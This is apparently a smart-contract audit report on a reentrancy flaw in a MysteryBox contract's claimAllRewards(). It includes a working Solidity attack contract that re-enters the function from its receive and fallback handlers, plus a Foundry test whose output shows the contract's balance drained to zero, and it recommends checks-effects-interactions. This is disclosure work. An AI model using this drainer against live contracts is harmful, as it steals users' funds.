Summary
Check effects interaction is not followed in claimAllRewards() and thus can be exploited with re-entrancy.
Vulnerability Details
Delete rewards owned is done after sending of the ether
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}
POC:
contract rattack{
MysteryBox box;
address owner;
constructor(address victim) payable{
box=MysteryBox(victim);
owner=msg.sender;
}
function preperatory() public{
box.buyBox{value:0.1 ether}();
box.openBox();
}
function attack() public{
box.claimAllRewards();
}
function sendToOwner() public {
require(address(this).balance > 0, "No balance to send");
(bool success, ) = owner.call{value: address(this).balance}("");
require(success, "Transfer to owner failed");
}
receive() external payable{
if (address(box).balance>=msg.value){
box.claimAllRewards();
}
}
fallback() external payable{
if (address(box).balance>=msg.value){
box.claimAllRewards();
}
}
}
Test function is
function test_re_entrancy() public{
vm.deal(user1,1 ether);
vm.prank(user1);
vm.warp(279);
console.log(address(mysteryBox).balance);
rattack attack=new rattack{value:1 ether}(address(mysteryBox));
attack.preperatory();
attack.attack();
vm.assertEq(0,address(mysteryBox).balance);
}
OUTPUT
[PASS] test_re_entrancy() (gas: 312371)
Logs:
Reward Pool Length: 4
The balance of mysteryBox is 100000000000000000
The balance of attack contract is 100000000000000000
The balance of attack contract is 200000000000000000
The balance of mysteryBox is 0
Impact
All the money can be taken out in one shot.
Tools Used
Foundry 0.2.0
Recommendations
Follow Check-Effects-Interaction when possible